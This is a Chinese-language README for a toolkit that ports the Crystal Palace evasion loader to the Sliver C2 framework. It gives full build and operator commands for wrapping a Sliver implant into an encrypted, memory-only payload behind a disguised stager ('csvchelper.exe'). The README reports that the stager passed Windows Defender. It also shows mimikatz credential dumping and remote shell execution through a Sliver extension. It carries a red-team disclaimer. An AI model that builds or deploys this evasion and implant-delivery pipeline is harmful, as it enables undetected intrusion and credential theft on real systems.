Crystal Palace 规避工具包(适用于 Sliver)
Crystal Palace 规避工具包移植到 Sliver C2。
这是 rasta-mouse 的 Crystal-Kit(Cobalt Strike)首次公开移植到 Sliver。它遵循了 Crystal-Kit-Xenon(Mythic)所验证的跨 C2 模式。
用 Crystal Palace(Raphael Mudge,BSD)替换 Sliver 默认的反射加载器和后渗透执行路径。结果是一个不受位置影响的代码(PICO)块,其中包含:
LoadLibrary / GetProcAddress)VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryA 的 IAT 钩子Sliver 植入 DLL(或任何后渗透 DLL)在 PICO 内部被 XOR 掩码,仅在执行时在内存中解除掩码。
原始 Sliver 植入 DLL 永远不会直接在目标上执行。相反,它被 Crystal Palace 包装成 PICO,经过 AES-256-CBC 加密,并通过自定义加载器(约 17 KB)传递,该加载器在内存中解密并执行它。
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB,无嵌入载荷)
→ payload.dat (~36 MB AES-256-CBC 密文)
│
▼ 将两个文件传递到目标上的同一目录
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC 解密 payload.dat → RW 内存中的 PICO
▼ VirtualProtect(RX) → CreateThread → Crystal Palace 入口
▼ 注册 .pdata → TLS 回调 → DllMain → StartW() → beacon goroutine → HTTP 会话
一旦会话处于活动状态,通过 Sliver 扩展使用 Crystal Palace 运行敏感 DLL(侦察、凭据提取器等)。
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
通过在参数后附加 | 来传递运行时参数,无需重新构建:
sliver > crystal --payload C:/path/file.pico.bin|args here
crystal-loader.x64.dll 是一个 Sliver DLL 扩展,它将 PICO 块从磁盘读入 VirtualAlloc(RW) 区域,通过 VirtualProtect 将其翻转为 RX,然后跳转到 Crystal Palace 入口点。从不持有 PAGE_EXECUTE_READWRITE 映射。路径使用正斜杠。参数格式为 type:string(不是 BOF 二进制)。DLL 由 Sliver 在内存中加载 — 不会作为文件写入目标磁盘。
crystal-exec 是同一扩展中捆绑的第二个命令。它通过 Crystal Palace 规避运行任意 shell 命令,使用直接嵌入在扩展 DLL 中的 PICO — 无需上传 PICO 文件。
sliver > crystal-exec --cmd "whoami /all"
输出通过管道通过现有 Sliver 会话返回给操作员。这是执行一次性 shell 命令的最快路径,当您不需要完整的后渗透 DLL 时。
crystal-kit-sliver/
├── loader/ ← 反射加载器源码(场景 A) — 直接来自 Crystal-Kit
├── postex-loader/ ← 后渗透加载器源码(场景 B) — Crystal-Kit + Xenon 补丁
├── libtcg.x64.zip ← 上游二进制依赖(为构建方便保留在树中)
└── sliver-glue/ ← Sliver 特定构建胶水
├── extension.json Sliver 扩展清单
├── generate.sh 将后渗透 DLL 包装成 PICO(场景 B)
├── generate-implant.sh 将 Sliver DLL 包装成 PICO(场景 A)
├── bundle-implant.sh 将 PICO + Crystal Palace 演示加载器捆绑到 drop.zip(遗留)
├── bundle-stager.sh 构建自定义加载器:csvchelper.exe + payload.dat(主要)
├── pack-extension.sh 将 DLL + 清单打包成 Sliver 扩展 tarball
├── Makefile 编译对象 / 打包 / 清理
├── stager/ 自定义加载器源码(AES-256-CBC,asInvoker 清单)
└── wrapper/ crystal-loader.c(BOF 兼容 DLL 包装器)
docs/
├── RUNBOOK.md Kali → Windows 实验室逐步指南
├── PORTING_MAP.md 逐文件映射 Crystal-Kit → 本仓库 + 字面差异
└── TOOLCHAIN.md 构建前提条件和流水线细节
# 1. 工具链
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace 发行版(BSD-3-Clause,Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. 构建所有
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. 场景 A — 包装 Sliver 植入并构建加载器
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → 生成 build/csvchelper.exe + build/payload.dat(将两者传递到目标)
# 5. 场景 B — 包装后渗透 DLL(postex.sh 处理命名并打印 sliver 命令)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# 带有内嵌参数: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec — 重新构建内置命令执行器(仅在修改 crystalexec.c 后需要)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
完整操作流程请参见 docs/RUNBOOK.md(Sliver 安装、监听器设置、目标执行、故障排除)。
本仓库不重新分发 crystalpalace.jar。构建流水线会从外部获取它,并通过 CRYSTAL_PALACE_HOME 环境变量引用。
完整的上游版权和许可证列表请参见 NOTICE.md。简要摘要如下:
dll_args 节)beacon.h、beacon_compatibility.c/h)docs/PORTING_MAP.md)sliver-glue/ 胶水脚本和扩展清单generate-implant.sh + bundle-implant.shcrystal --payload 有效,参数格式修复为 ,正斜杠路径)本工具为进攻性安全工具,旨在用于授权的红队演练、实验室研究和教育。仅在获得书面授权的环境中使用。作者不对滥用行为承担任何责任。
| 项目 | 状态 | 证据 |
|---|
| 所有 Crystal-Kit 源码在 MinGW 15.2 + NASM 3.01 下编译通过 | 通过 | make all 干净,每个加载器 8 个 .o + 1 个 .bin |
| Xenon 后渗透补丁存在 | 通过 | dfr "ror13"、_DLLARGS_ 节、DLL_PROCESS_ATTACH 中的 dll_arguments 参数 |
| Crystal Palace CLI 已验证 | 通过 | ./link <spec> <dll> <out.bin> [%KEY=value] — 位置参数,在 dist/README 中有文档 |
| 端到端 PICO 构建(场景 A) | 通过 | 从测试 DLL 生成 117 KB PICO |
| 端到端 PICO 构建(场景 B) | 通过 | 通过 postex-loader/loader.spec 生成 111 KB PICO |
| Sliver 扩展包装器 DLL 构建 | 通过 | crystal-loader.x64.dll ~42 KB,crystal-exec.x64.dll ~75 KB — 两者均为 PE32+ 导出 Initialize 符号;无 RWX;已去除符号 |
| 扩展 tarball 正确打包 | 通过 | 37 KB tarball 已验证(tar -tzf) |
| 自定义加载器构建(双文件交付) | 通过 | bundle-stager.sh → csvchelper.exe(17 KB,熵 4.784)+ payload.dat(AES-256-CBC) |
| Windows 上运行时执行(场景 A) | 通过 | 在 Windows 10 x64 FLARE-VM 上建立 Sliver 会话;加载器通过 Defender(Wacatac.B!ml + ZomBytes.B) |
| Windows 上运行时执行(场景 B) | 通过 | crystal --payload C:/path/file.pico.bin — 通过后渗透 PICO 建立新的 Sliver 会话;参数格式验证为 type:string,正斜杠路径 |
crystal-exec 命令 | 通过 | shell 命令输出通过管道返回给操作员;PICO 嵌入在扩展 DLL 中,无需上传 |
| 依赖项 | 许可证 | 获取方式 | 是否捆绑? |
|---|
Crystal Palace(crystalpalace.jar、link 等) | BSD-3-Clause,(c) 2025 Raphael Mudge / AFF-WG | curl -O https://tradecraftgarden.org/download/cpdist-latest.tgz | 否(.gitignore 排除 external/) |
libtcg.x64.zip | 上游二进制,许可证未声明(可能源自 QEMU TCG) | 从上游 Crystal-Kit 仓库复制 | 是,为构建方便保留在树中 |
| Sliver C2 | GPLv3 | https://sliver.sh | 否 — 仅为运行时依赖 |
| MinGW-w64 + NASM | GPL 兼容 | apt install 或 brew install | 否 |
type:stringcrystal-exec 命令:通过 Crystal Palace 内置后渗透 shell 执行(无需上传)| 分隔符传递运行时参数,实现动态 DLL 参数而无需重新构建